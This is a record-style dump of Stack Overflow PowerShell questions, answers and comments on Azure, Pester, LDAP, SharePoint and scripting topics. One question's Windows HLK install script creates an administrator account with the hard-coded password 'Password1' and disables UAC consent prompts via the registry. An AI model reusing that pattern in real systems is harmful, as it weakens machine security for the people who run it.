has body: Run a PowerShell Azure CustomScriptExtension through Terraform As you have already found the answer to your first question, I will now address your second question, which you asked in the comment section. i need to figure out how to pass multiple scripts as you cannot create another azurerm_virtual_machine_extension due to it being In order to run multiple scripts on a VM using,Terraform since VM extensions are limited, you can achieve this by using Terraform provisioners, such as the local-exec provisioner. provider "azurerm" { features {} subscription_id = "83329a9" } resource "null_resource" "powershell" { provisioner "local-exec" { command = <<-EOT pwsh -Command "Invoke-AzVMRunCommand -ResourceGroupName 'Venkat-RG' -VMName 'Venkat-Vm' -CommandId 'RunPowerShellScript' -ScriptPath 'Script.ps1'" pwsh -Command "Invoke-AzVMRunCommand -ResourceGroupName 'Venkat-RG' -VMName 'Venkat-Vm' -CommandId 'RunPowerShellScript' -ScriptPath 'script2.ps1'" EOT } } Note: Make sure to place the powershell script in same folder as inthe Terraform directory. Terraform apply: After running the script, both scripts were executed on the VM. The first script created a folder, and the second script created files inside that folder

http://stackoverflow.com/comment/139899819
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79334293
type: AnswerComment
has text: Glad it worked :-)

http://stackoverflow.com/q/79395563
answer count: 1
has comment: http://stackoverflow.com/comment/140020507
has comment: http://stackoverflow.com/comment/140016375
score: 2
upvote count: 2
has body: I have a PowerShell script that processes a large number of files, and it's taking a considerable amount of time to run. I'm using a combination of Get-ChildItem and ForEach-Object. I suspect that what I did is not efficient, and I'm looking for ways to improve the performance of my script. Here is my script: $TestDir = "$($env:USERPROFILE)\TestFiles" if (-Not (Test-Path $TestDir)) { New-Item -ItemType Directory -Path $TestDir } 1..1000 | ForEach-Object { New-Item -ItemType File -Path "$TestDir\File$_.txt" -Value "This is a dummy file for testing." } Write-Host "Created 1000 dummy text files in $TestDir" Here is my Slow Script: $TestDir = "$($env:USERPROFILE)\TestFiles" # Measure the execution time $stopwatch = [System.Diagnostics.Stopwatch]::StartNew() # Get the list of files Get-ChildItem -Path $TestDir -Filter "*.txt" | ForEach-Object { # Simulate some processing Get-Content $_.FullName | Out-Null } $stopwatch.Stop() Write-Host "Time taken: $($stopwatch.ElapsedMilliseconds) ms" What are some techniques to optimize this for better performance in PowerShell, for example, by using different cmdlets or programming practices?
downvote count: 0
has comment: http://stackoverflow.com/comment/140016453
tagged with: powershell
type: UnansweredQuestion
has title: Optimizing a PowerShell Script
has answer: http://stackoverflow.com/a/79397448
has comment: http://stackoverflow.com/comment/140016537
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/140017219
has comment: http://stackoverflow.com/comment/140020172
has comment: http://stackoverflow.com/comment/140016429
has comment: http://stackoverflow.com/comment/140016389

http://stackoverflow.com/comment/139967797
type: QuestionComment
type: Comment
has text: "But the CSV is adding double quotes around a field which has quotes."; first of all, it should do that. Second of all, CSV spec allows adding quotes for the heck of it. If you need some exact file format this becomes a small program built around a SELECT statement.
comment on: http://stackoverflow.com/q/79369758
score: 0

http://stackoverflow.com/comment/139762075
type: Comment
comment on: http://stackoverflow.com/a/79257887
score: 0
type: AnswerComment
has text: @Vincent You need to dispose of the used form **AFTER** `.ShowDialog()`. Do this for both forms. `$form.ShowDialog(); $form.Dispose()` for the language form and `$$printerForm.ShowDialog(); $printerForm.Dispose()` for the second form you created

http://stackoverflow.com/comment/140004827
has text: Probably something inside of `kafka-storage.bat`. Without seeing that code, it's impossible to say.
score: 1
comment on: http://stackoverflow.com/q/79389610
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79384380
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79384352
accepted answer of: http://stackoverflow.com/q/79384352
type: AcceptedAnswer
has body: You could use the regex replacement operator (-replace) for this. See https://regex101.com/r/5G1kRG/2 for regex details. $pods = @( 'Orange-UK-1234567890-de22a' 'Orange-US-123456-svbf3' 'Blue-US-NA-123456789-fr33s') $pods -replace '(?:-[^-]+){2}$' # Orange-UK # Orange-US # Blue-US-NA
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/79395946
has comment: http://stackoverflow.com/comment/140023038
has body: There is beautiful script for it by Chandani Prajapati. Summary This sample will export the required site pages information to CSV. Implementation Open Windows PowerShell ISE Create a new file Write a script as below First, we will connect to the site from which site we want to get Site Pages library details. Then we will get Site Pages details and export it to CSV. Script $siteURL = "https://domain.sharepoint.com/" $username = "username@domain.onmicrosoft.com" $password = "********" $secureStringPwd = $password | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $secureStringPwd $dateTime = "_{0:MM_dd_yy}_{0:HH_mm_ss}" -f (Get-Date) $basePath = "E:\Contribution\PnP-Scripts\Logs\" $csvPath = $basePath + "\SitePages" + $dateTime + ".csv" $global:sitePagesCollection = @() Function Login() { [cmdletbinding()] param([parameter(Mandatory = $true, ValueFromPipeline = $true)] $creds) Write-Host "Connecting to Site '$($siteURL)'" -f Yellow Connect-PnPOnline -Url $siteURL -Credential $creds Write-Host "Connection Successful" -f Green } Function GetSitePagesDetails { try { Write-Host "Getting site pages information..." -ForegroundColor Yellow $sitePages = Get-PnPListItem -List "Site Pages" ForEach ($Page in $sitePages) { $sitePagesInfo = New-Object PSObject -Property ([Ordered] @{ 'ID' = $Page.ID 'Title' = $Page.FieldValues.Title 'Description' = $Page.FieldValues.Description 'Page Layout Type' = $Page.FieldValues.PageLayoutType 'FileRef' = $Page.FieldValues.FileRef 'FileLeafRef' = $Page.FieldValues.FileLeafRef 'Created' = Get-Date -Date $Page.FieldValues.Created_x0020_Date -Format "dddd MM/dd/yyyy HH:mm" 'Modified' = Get-Date -Date $Page.FieldValues.Last_x0020_Modified -Format "dddd MM/dd/yyyy HH:mm" 'Modified By' = $Page.FieldValues.Modified_x0020_By 'Created By' = $Page.FieldValues.Created_x0020_By 'Author' = $Page.FieldValues.Author.Email 'Editor' = $Page.FieldValues.Editor.Email 'BannerImage U…
score: 0
has comment: http://stackoverflow.com/comment/140025287
answers question: http://stackoverflow.com/q/79392746
type: Answer
has comment: http://stackoverflow.com/comment/140024486

http://stackoverflow.com/comment/140027370
type: AnswerComment
has text: Yeah, no error because I returned to the way I was launching it fine sans `argumentlist`. So, yeah, I realise I could use some other launching method, but it works fine without the hashtable to accomplish sometime yes, sometimes no, including argumentlist, with `start-process`.
type: Comment
comment on: http://stackoverflow.com/a/79397850
score: 0

http://stackoverflow.com/comment/140044833
type: QuestionComment
type: Comment
score: 0
has text: Wrong query, something like this should work: `"(&(memberOf:1.2.840.113556.1.4.1941:=CN=Administrators,CN=Builtin,DC=$($env:USERDNSDOMAIN.Replace('.',',DC=')))(samAccountName=$theUserSam))"`
comment on: http://stackoverflow.com/q/79410051

http://stackoverflow.com/q/79326343
tagged with: pipeline
tagged with: pester
type: Question
upvote count: 2
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139885445
score: 2
has body: In Pester I need to mock a pipeline function that creates a hashtable in the begin block, updates it in the process block, and returns it in the end block. I thought it would be a simple case of adding an end block to the mock and returning a hashtable from that. However, it appears the mocked end block is called for each item in the pipeline, rather than after all the pipeline items have been passed. So the mock produces an array of hashtables, rather than a single hashtable. How can I mock a pipeline function to return a single hashtable after all the pipeline items have been passed to it? Here's sample code that illustrates the problem: BeforeAll { function Get-NameInfo ( [Parameter(ValueFromPipeline = $true, Mandatory = $true)] [string]$FeatureName ) { begin { $result = @{ InputNames = @() InputCount = 0 } } process { $result.InputNames += $FeatureName $result.InputCount++ } end { return $result } } function Get-Result ([array]$ArrayOfNames) { $result = $ArrayOfNames | Get-NameInfo return $result } } Describe 'Get-Result' { BeforeAll { Mock Get-NameInfo { end { return @{ InputNames = @(); InputCount = 0 } } } } BeforeEach { $names = @('Name 1', 'Name 2', 'Name 3', 'Name 4') } It 'doesn''t return an array' { $result = Get-Result $names # Produces the following error: # "Expected $false, but got $true." $result -is [System.Object[]] | Should -BeFalse } } When I call the functions manually, outside of Pester, the function Get-NameInfo returns a single hashtable. However, the mocked version of the function returns an array of hashtables. The following screenshot shows that the $result returned from the mocked function is an array of four identical hashtables:
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79326967
tagged with: pester-5
has comment: http://stackoverflow.com/comment/139885096
favorite count: 0
possible better answer: http://stackoverflow.com/a/79326967
tagged with: mocking
accepted answer: http://stackoverflow.com/a/79326898
answer count: 2
has title: Mocking a pipeline function that returns a single object from the end block
has answer: http://stackoverflow.com/a/79326898

http://stackoverflow.com/q/79245097
downvote count: 0
tagged with: process
tagged with: powershell
has comment: http://stackoverflow.com/comment/139739373
has answer: http://stackoverflow.com/a/79245869
has title: How do I cooperatively stop another process in PowerShell?
type: UnansweredQuestion
score: 1
has body: The following starts another PowerShell process which logs to a file. That process is then stopped with Stop-Process: { end { $logFile = "$PID`_log.txt" 'started' | Set-Content $logFile while ($true) {[System.Threading.Thread]::Sleep(100)} } clean { 'clean' | Add-Content $logFile } } | Set-Content .\probe.ps1 $process = Start-Process -FilePath pwsh.exe -ArgumentList .\probe.ps1 -PassThru $logFile = "$($process.Id)`_log.txt" do { Start-Sleep -Milliseconds 10 } while (-not (Test-Path $logFile)) $process | Stop-Process do { Start-Sleep -Milliseconds 10 } while (Get-Process -Id $process.Id -ErrorAction SilentlyContinue) Get-Content $logFile This outputs started which indicates that clean{} was not run. If, on the other hand, the Stop-Process line is removed and the resulting PowerShell console is interrupted with Ctrl+C the same outputs started clean This seems to be a manifestation of Bug: Stop-Process does not issue SIGTERM as expected. #13664 which remains unresolved and hasn't made much progress since 2021. The above behavior seems to be confirmed by this comment: This seems to be the case that it jumps straight to Kill instead of requesting close So how do I cooperatively request another process to stop from PowerShell?
favorite count: 0
tagged with: sigterm
has answer: http://stackoverflow.com/a/79245560
answer count: 2
has comment: http://stackoverflow.com/comment/139739987
upvote count: 1
linked to: http://stackoverflow.com/q/79248095
tagged with: windows
type: Question

http://stackoverflow.com/comment/139760685
type: QuestionComment
type: Comment
has text: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process#example-5-start-powershell-as-an-administrator
score: 0
comment on: http://stackoverflow.com/q/79255391

http://stackoverflow.com/comment/139754293
type: Comment
comment on: http://stackoverflow.com/q/79253851
score: 0
has text: Try `Invoke-MgRestMethod -Method Get -Uri /v1.0/me -Verbose -Debug`
type: QuestionComment

http://stackoverflow.com/q/79318657
has comment: http://stackoverflow.com/comment/139871203
has body: I'm trying to install Windows HLK in startup-script. The script exits silently right after it launches Start-Process on the installer(no exception is thrown). Here's my original script: function Install-WindowsHLK { param ( [string]$downloadUrl = 'https://go.microsoft.com/fwlink/?linkid=2289283' ) $downloadPath = 'C:\temp' mkdir $downloadPath $fullPath = Join-Path $downloadPath 'HLKSetup.exe' $hlkUser = 'hlk' $hlkPassword = 'Password1' $secpasswd = ConvertTo-SecureString $hlkPassword -AsPlainText -Force Write-Host 'Creating a new user account to install Windows HLK' New-LocalUser -Name $hlkUser -Description 'HLK test user' -Password $secpasswd Write-Host 'Adding the new user account to the Administrators group' Add-LocalGroupMember -Group 'Administrators' -Member $hlkUser Write-Host 'Downloading Windows HLK installer' Invoke-WebRequest -Uri $downloadUrl -OutFile $fullPath Write-Host 'Giving the new user account full control over the HLK installer' $acl = Get-Acl $fullPath $accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($hlkUser, 'FullControl', 'Allow') $acl.AddAccessRule($accessRule) Set-Acl $fullPath $acl Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 Write-Host 'Executing Windows HLK installer' $mycreds = New-Object System.Management.Automation.PSCredential($hlkUser, $secpasswd) Start-Process -Credential $mycreds -FilePath $fullPath -ArgumentList '/features + /q /norestart' -Wait } try { # Explicitly turning on TLS 1.2 protocol (https://stackoverflow.com/a/62389502) [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12 Install-WindowsHLK } catch { Write-Host "BuildFailed: $($_.Exception.Message)" exit 1 } To debug, I tried the following: Copied the same script in Powershell ISE('New Script', paste, then F5). It launches the installer successfully(/q installation but I can see in…
linked to: http://stackoverflow.com/q/62783350
linked to: http://stackoverflow.com/q/49800534
score: 1
upvote count: 1
favorite count: 0
tagged with: windows
type: Question
has title: Using Start-Process to install Windows HLK
has comment: http://stackoverflow.com/comment/139878071
answer count: 0
tagged with: hlk
downvote count: 0
has comment: http://stackoverflow.com/comment/139871136
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139878012
has comment: http://stackoverflow.com/comment/139871154

http://stackoverflow.com/comment/139947272
score: 1
comment on: http://stackoverflow.com/a/79359059
type: AnswerComment
type: Comment
has text: Thank You so much! This worked great and now I know I need to learn my LDAP syntax when using it in a powershell script. Much Appreciated!

http://stackoverflow.com/q/79359034
answer count: 1
score: 2
downvote count: 0
type: AnsweredQuestion
upvote count: 2
has answer: http://stackoverflow.com/a/79359059
tagged with: ldap
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79359059
has body: I am trying to get a list of workstations that are not in eiter of two specific security groups. I want to see workstation that are not in the "MDM Newyork" group or not in the "MDM California". I scripted it as follows: $filter1 = "(!(memberOf=CN=MDM Newyork,OU=Cloud Apps,OU=Groups,DC=companyX,DC=com))" $filter2 = "(!(memberOf=CN=MDM California,OU=Cloud Apps,OU=Groups,DC=companyX,DC=com))" Get-ADComputer -LDAPFilter ($filter1 -or $filter2) -SearchBase "OU=Prod Workstations,DC=companyX,DC=com" -Properties * | select name, @{n="OU"; e={$_.DistinguishedName -replace '^.*?,(?=[A-Z]{2}=)'}} | sort OU I know there are many workstations that are not either of those groups but this script returns no results. If I run the script with out the "-or" with just $filter1 it returns results correctly for any workstation not in the MDM Newyork group. If i run it ith out the "-or" with just $filter2 it returns results correctly for any workstation not in the MDM California group. It just does not return reseults when I try to combine the two filters with and or statement. Any idea where my logic is flawed? Its not a syntax error as it runs with out and error, just does not return anything matching my conditions.
favorite count: 0
tagged with: active-directory
type: Question
has title: PowerShell LDAPFilter multiple conditions

http://stackoverflow.com/a/79285518
type: AcceptedAnswer
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/79285339
answers question: http://stackoverflow.com/q/79285339
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139811573
has body: To list the service principal based on accountEnabled = true using Azure CLI When I ran, the command mentioned by you, I got following response: az ad sp list | where-object { $_.AccountEnabled -eq 'true' } Response: To resolve the error use this modified command: az ad sp list --filter "accountEnabled eq true" --output json Response: To list the service principal with accountEnabled = true using PowerShell, use this: Get-AzADServicePrincipal | Where-Object { $_.AccountEnabled -eq $true } | Select-Object DisplayName, AppId, AccountEnabled Response: References: az ad sp list Get-AzADServicePrincipal

http://stackoverflow.com/comment/139926630
comment on: http://stackoverflow.com/q/79348356
type: QuestionComment
type: Comment
has text: Check out [foreach](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_foreach?view=powershell-7.4) and [ForEach-Object](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object?view=powershell-7.4)
score: 0

http://stackoverflow.com/comment/140006653
comment on: http://stackoverflow.com/q/79377427
score: 0
has text: @Greg7000, Hi Greg, Thanks for the suggestion. I ran the 'where python' command as indicated, and the result matches the path I am already monitoring in the script. However, the problem persists: the current script only removes the Python launcher and not the main application. I'm trying to create a script to deploy via Intune to completely uninstall Python from all PCs, including any references in registry keys.
type: QuestionComment
type: Comment

try-catch
type: Tag
tags question: http://stackoverflow.com/q/79337547
tag name: try-catch
tags question: http://stackoverflow.com/q/79511807

http://stackoverflow.com/a/79250987
downvote count: 0
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/139749184
score: 3
has body: Aliases in PowerShell aren’t quite the same as in other environments, such as bash - PS aliases can only effectively “rename” the command, but cannot themselves pass parameters or modify parameter handling - that is, the default aliases dir and ls are used exactly like the standard cmdlet Get-ChildItem, including using Get-ChildItem’s parameters. To make an “alias” pass parameters, wrap the complete command in a PS function: function mc { cmd /K "C:\Program Files (x86)\Midnight Commander\mc.exe" } but as @Olaf says in the comment to the question, it’s better to add the program’s folder to your PATH and just allow mc to search the path and run.
answers question: http://stackoverflow.com/q/79250687

http://stackoverflow.com/comment/139902190
comment on: http://stackoverflow.com/a/79335176
type: AnswerComment
type: Comment
score: 0
has text: i did do it with this version of powershell i just didnt do it with premium license im not sure this will make any difference tho , and another difference is that my function is a timer triggered function (i tried it with http one too but got the same error)

http://stackoverflow.com/comment/139923269
has text: This would certainly work. But ultimately I'm wondering if there is a solution that allows me to avoid having to suppress the analyzer rule at all. Something like a `[Parameter()]` property that lets me rename the external view of the param name...which clearly doesn't exist.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79344966
type: AnswerComment

http://stackoverflow.com/q/79346257
type: Question
accepted answer: http://stackoverflow.com/a/79346604
has title: Azure PowerShell: New-AzRoleAssignment doesn't work with ApplicationId instead of ObjectId
has comment: http://stackoverflow.com/comment/139922837
tagged with: powershell
has body: despite azure documentation I don;t think you can use New-AzRoleAssignment with ApplicationId inplace of of ObjectId docs: https://learn.microsoft.com/en-us/powershell/module/az.resources/new-azroleassignment?view=azps-13.0.0#example-5 $appId = 'f9f6b23d-eff8-48e1-a7f9-fd636a32e62c' # random GUID - could be web/func app ID $roleName='Azure Service Bus Data Owner' New-AzRoleAssignment -ApplicationId $appId -RoleDefinitionName $roleName Getting error: Can anyone tell me what I'm missing?
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79346604
score: 0
tagged with: azure
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/139923369

http://stackoverflow.com/a/79246128
answers question: http://stackoverflow.com/q/79245262
accepted answer of: http://stackoverflow.com/q/79245262
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1
has body: Your yml file has various formatting issues. It works now, although it does not meet best practices. You can learn the basic format first, otherwise there will always be various problems. pool: vmImage: windows-latest parameters: - name: env displayName: Enviornment type: string default: dev values: - dev - qa - prod variables: - group: ${{format('{0}Variables', parameters.env)}} steps: - task: AzureKeyVault@2 name: setSecretInVariable inputs: azureSubscription: $(azureSubscription) KeyVaultName: 'abc-$(env)' SecretFilter: 'secret-${{ parameters.env }}' - task: AzurePowerShell@5 name: getSacontext inputs: azureSubscription: $(azureSubscription) azurePowerShellVersion: LatestVersion ScriptType: 'InlineScript' Inline: | $devkey = &quot;$(secret-${{ parameters.env }})&quot; $storageContext = New-AzStorageContext -StorageAccountName $(StorageAccountName) -StorageAccountKey $devkey $storageContext
upvote count: 1

http://stackoverflow.com/a/79358753
answers question: http://stackoverflow.com/q/79347016
has comment: http://stackoverflow.com/comment/139967444
has body: My guess is that the error comes from this line in your function HandleKeyDown: $key = $key.Substring(1) Getting the substring from position 1 up until the end will most likely result in an empty string. What you really want here is the first character and nothing else, so use .Substring(0,1) (position 0, length 1) You also don't have to TryParse() and next Parse() the string to an integer value this can be done with just a single TryParse() Try with: function HandleKeyDown{ param ($sender, $eventArgs, $data) if (-not $data.notesmode) { $key = $eventArgs.Key.ToString().Substring(0,1) $integerValue = 0 if([int]::TryParse($key, [ref]$integerValue)) { if ($integerValue -ge 1 -and $integerValue -le 9) { $data.celldata[$data.cell] = $integerValue } elseif ($integerValue -eq 0) { $data.celldata[$data.cell] = "&nbsp" } } } Write-Host $data.notesmode Write-Host $data.cell Write-Host $data.celldata[$data.cell] }
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139964564

http://stackoverflow.com/comment/139809325
has text: Although this opens the pod manifest in Notepad++, on the terminal it immediately cancels the editing with `Edit cancelled, no changes made.`
comment on: http://stackoverflow.com/a/79279479
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/79355601
type: UnansweredQuestion
tagged with: sharepoint-online
has body: I am trying to amend a page in PowerShell using the PnP.PowerShell module. I am able to load it and do most things very easily. However when I attempt to access a page using the Get-PnPPage capplet, I get a null reference exception. The command that I was attempting to use was Get-PnPPage -Identity "Pages/home.aspx" Instead of returning a page object, the script output an exception : ScriptLineNumber : 1 Message : Object reference not set to an instance of an object. Stacktrace : at PnP.PowerShell.Commands.Base.PnPConnectedCmdlet.ProcessRecord() in D:\a\powershell\powershell\src\Commands\Base\PnPConnectedCmdlet.cs:line 103 at PnP.PowerShell.Commands.PnPSharePointCmdlet.ProcessRecord() in D:\a\powershell\powershell\src\Commands\Base\PnPSharePointCmdlet.cs:line 132 at System.Management.Automation.CommandProcessor.ProcessRecord() ScriptLineNumber : 15 The connection was current when the exception was reported, and I was able to enumerate the lists on the sub-site subsequently. Regards
has answer: http://stackoverflow.com/a/79370568
type: Question
has title: I'm having trouble calling the PnP PowerShell function Get-PnPPage - I keep getting object reference errors when looking for known pages
tagged with: powershell
answer count: 1
score: 0

http://stackoverflow.com/comment/139851147
score: 0
has text: You claim it does not work but you accepted the answer!? ‍♂️ ... how exactly did you reboot the system? Are you sure DNS is working properly?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79306447

http://stackoverflow.com/q/79415861
tagged with: mocking
downvote count: 0
answer count: 1
type: AnsweredQuestion
tagged with: pester
has body: I have been unable to get the mock for New-Object to work. Below is the function and the test inline. Import-Module ImportExcel -Force function Clear-ExcelWorksheet { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [string]$ExcelFilePath, [Parameter(Mandatory = $true)] [string]$WorkSheetName ) try { $package = New-Object OfficeOpenXml.ExcelPackage -ArgumentList $ExcelFilePath <# $worksheet = $package.Workbook.Worksheets.Item[$WorkSheetName] $worksheet.Cells.Clear() $package.Save() $package.Dispose() #> } catch { $message = "Error occurred clearing the Worksheet: $_" Write-Output $message throw $message } Write-Output "Cleared worksheet $WorkSheetName in $ExcelFilePath" } The tests: Describe "Clear-ExcelWorksheet" { Context "When clearing a worksheet" { It "should clear the worksheet cells and save the package" { # Mock the necessary cmdlets and methods Mock -CommandName New-Object -ParameterFilter{$_.TypeName -eq 'OfficeOpenXml.ExcelPackage' -and $_._ArgumentList -eq 'Sheet1'} -MockWith { param($Type, $ArgumentList) [PSCustomObject] @{ Workbook = [PSCustomObject] @{ Worksheets = @{ Item = @{ "Sheet1" = [PSCustomObject] @{ Cells = [PSCustomObject] @{ } ` | Add-Member -MemberType ScriptMethod -Name Clear -Value { } -PassThru } } } } ` | Add-Member -MemberType ScriptMethod -Name Save -Value { } -PassThru ` | Add-Member -MemberType ScriptMethod -Name Dispose -Value { } -PassThru } } # Arrange $ExcelFilePath = "C:\path\to\file.xlsx" $WorkSheetName = "Sheet1" # Act Clear-ExcelWorksheet -ExcelFilePath $ExcelFilePath -WorkSheetName $WorkSheetName # Assert Should -Invoke -CommandName New-Object -Exactly 1 -Scope It } } } When I walk through the debugger, I can see it is creating the actual OfficeOpenXml.ExcelPackage object rather than the mock. I'm using PowerShell 7 and Pester 5.7.1 which are both current. I figured it was a scoping issue, so I moved the Mock all the way into the It section, but still it is not using it.
has title: Cannot get Pester Test to use Mock for "New-Object OfficeOpenXml.ExcelPackage"
tagged with: powershell
upvote count: 1
has answer: http://stackoverflow.com/a/79416009
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79416009
type: Question

http://stackoverflow.com/q/79384098
score: 3
upvote count: 3
has answer: http://stackoverflow.com/a/79384200
accepted answer: http://stackoverflow.com/a/79384200
favorite count: 0
has title: How can I account for summer time when adding hours to a DateTime base value in PowerShell?
type: Question
tagged with: datetime
downvote count: 0
answer count: 1
type: AnsweredQuestion
has body: I'm parsing the dnsRecord attribute from a CSVDE dump of DNS records. The attribute stores the timestamp as the number of hours that have elapsed since midnight (00:00:00), January 1, 1601 UTC in a string of hex digits. So far, I have (with hard-coded sample value): $dnsRecordTimestampBytes = '0038a293' (Get-Date '01/01/1601Z').AddHours([int]('0x' + $dnsRecordTimestampBytes)) which results in 03 June 2024 11:00:00 but it should be 03 June 2024 12:00:00. When I parse a value which is not in Summer Time, it gives the correct value, e.g. $dnsRecordTimestampBytes = '00389c04' (Get-Date '01/01/1601Z').AddHours([int]('0x' + $dnsRecordTimestampBytes)) gives 25 March 2024 12:00:00 which is correct. Is there a way to fix this without me having to do bounds-checks on the start and end of summer time?
tagged with: dst
tagged with: powershell

http://stackoverflow.com/comment/139994852
type: AnswerComment
type: Comment
has text: You cannot rely on ISE for Culture. Console, otherwise, SHOULD use the system-wide Culture unless otherwise changed. Try `Get-Culture` and `Get-UICulture`. Also make a new thread with the specific questions.
comment on: http://stackoverflow.com/a/79383869
score: 0

http://stackoverflow.com/comment/139767361
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79258729
has text: I managed to provoke missing events in some circumstances. I added the test results to my answer. Reliability seems to hinge on the time between registration and the start of the first process. After imagining how this subsystem might be designed, that doesn't really surprise me. I measured the reliability threshold to be 3x polling interval. Perhaps you could see if you get the same result. My test code is linked in the answer.
type: Comment

http://stackoverflow.com/a/79403390
has comment: http://stackoverflow.com/comment/140032854
has comment: http://stackoverflow.com/comment/140031642
type: Answer
has body: Use .AddCommand() rather than .AddScript(); .AddCommand() allows direct invocation of *.ps1 files by file path, and reflects their exit code in the automatic $LASTEXITCODE variable.[1] However - on Windows only - invoking a script file makes the call subject to PowerShell's execution policy, so it's best to explicitly allow script execution as part of your application, i.e. to enact a process-specific override of the execution policy that may be in effect.[2] After execution, you can invoke .Runspace.SessionStateProxy.GetVariable("LASTEXITCODE") on your System.Management.Automation.PowerShell instance to obtain the value of this variable. Therefore: // Create an initial default session state. var iss = System.Management.Automation.Runspaces.InitialSessionState.CreateDefault2(); // Windows only: // Set the session state's script-file execution policy // (for the current session (process) only). iss.ExecutionPolicy = Microsoft.PowerShell.ExecutionPolicy.Bypass; using (PowerShell ps = PowerShell.Create(iss)) { ps.AddCommand(@"/path/to/your/buildScript.ps1"); // Invoke synchronously and process the success output. // To retrieve output from other streams, use ps.Streams later. foreach (PSObject psObj in ps.Invoke()) { Console.WriteLine(psObj.ToString()); } // Obtain the exit code. int exitCode = (int)ps.Runspace.SessionStateProxy.GetVariable("LASTEXITCODE"); Console.WriteLine($"Exit code: {exitCode}"); } [1] The reasons for preferring .AddCommand() over .AddScript() are: (a) You can use script file paths that contain spaces and other metacharacters as-is (whereas .AddScript() would require use of embedded quoting and &, the call operator) (b) You can pass richly typed parameter values via .AddArgument() / .AddParameter() / .AddParameters() (whereas .AddScript() would require you to "bake" the parameter values as string literals into the single string argument passed to it). In short: .AddScript() is for executing arbitrary PowerShell source code, whereas .AddCommand() i…
downvote count: 0
has comment: http://stackoverflow.com/comment/140033260
answers question: http://stackoverflow.com/q/79401172
has comment: http://stackoverflow.com/comment/140033267
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/140035816

http://stackoverflow.com/comment/139746351
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79248980
has text: @SantiagoSquarzon _"How is this better than...a named pipe?"_ Sadly the named pipe method doesn't seem to be viable. I've updated the answer with an explanation.

http://stackoverflow.com/comment/139936192
score: 3
has text: [`EnumServerPermissions()`](https://learn.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.management.smo.server.enumserverpermissions?view=sql-smo-160#microsoft-sqlserver-management-smo-server-enumserverpermissions) returns `Microsoft.SqlServer.Management.Smo.ServerPermissionInfo[]`. [`.Grant()`](https://learn.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.management.smo.server.grant?view=sql-smo-160#microsoft-sqlserver-management-smo-server-grant(microsoft-sqlserver-management-smo-serverpermissionset-system-string)) only accepts `Microsoft.SqlServer.Management.Smo.ServerPermissionSet`
comment on: http://stackoverflow.com/q/79353262
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79409696
tagged with: exchange-online
has answer: http://stackoverflow.com/a/79411620
tagged with: powershell
score: 0
type: UnansweredQuestion
has body: I'm trying to get the list of DL groups user is member of in O365. I'm using below PS Script but I'm getting the error message. $user = "test1@rtest.com" $dlGroups =Get-DistributionGroup | Get-DistributionGroupMember | Where-Object {$_.PrimarySmtpAddress -eq $userEmail} foreach($dl in $dlGroups){ Write-Output $dl #Remove-DistributionGroupMember -Identity $dl.Identity -Member $user } error: Write-ErrorMessage : ||The operation couldn't be performed because 'Bus Training School' matches multiple entries.
has title: Get DL Groups user is member of in Exchange online
has answer: http://stackoverflow.com/a/79409735
answer count: 2
type: Question
tagged with: powershell-3.0

http://stackoverflow.com/comment/140013830
type: Comment
comment on: http://stackoverflow.com/a/79394307
score: 0
has text: Thanks. Why should one consider using file if it is a path ?rather than just a filename? (what situation would $myInvocation.MyCommand.Definition provide that?)?
type: AnswerComment

http://stackoverflow.com/q/79311228
tagged with: powershell
has answer: http://stackoverflow.com/a/79311629
type: AnsweredQuestion
has body: I wanted to map &lt;space&gt;&lt;space&gt; to diw in vi mode of psreadline. How do I do that?
accepted answer: http://stackoverflow.com/a/79311629
score: 0
tagged with: powershell-core
has title: Remap <space><space> to diw in powershell vi mode
type: Question
tagged with: psreadline
answer count: 1

http://stackoverflow.com/comment/139787359
has text: `New-WinEvent` can get parameters with `-Payload` option, but it can't handle more than 8 parameters. I have edited the question.
score: 1
comment on: http://stackoverflow.com/q/79265704
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79344043
favorite count: 0
accepted answer: http://stackoverflow.com/a/79344511
type: Question
tagged with: text-parsing
tagged with: cloud-foundry
has title: How do I extract fields from the tabular text output of the Cloud Foundry CLI?
answer count: 1
type: AnsweredQuestion
downvote count: 1
tagged with: command-line
tagged with: powershell
upvote count: 1
has answer: http://stackoverflow.com/a/79344511
score: 0
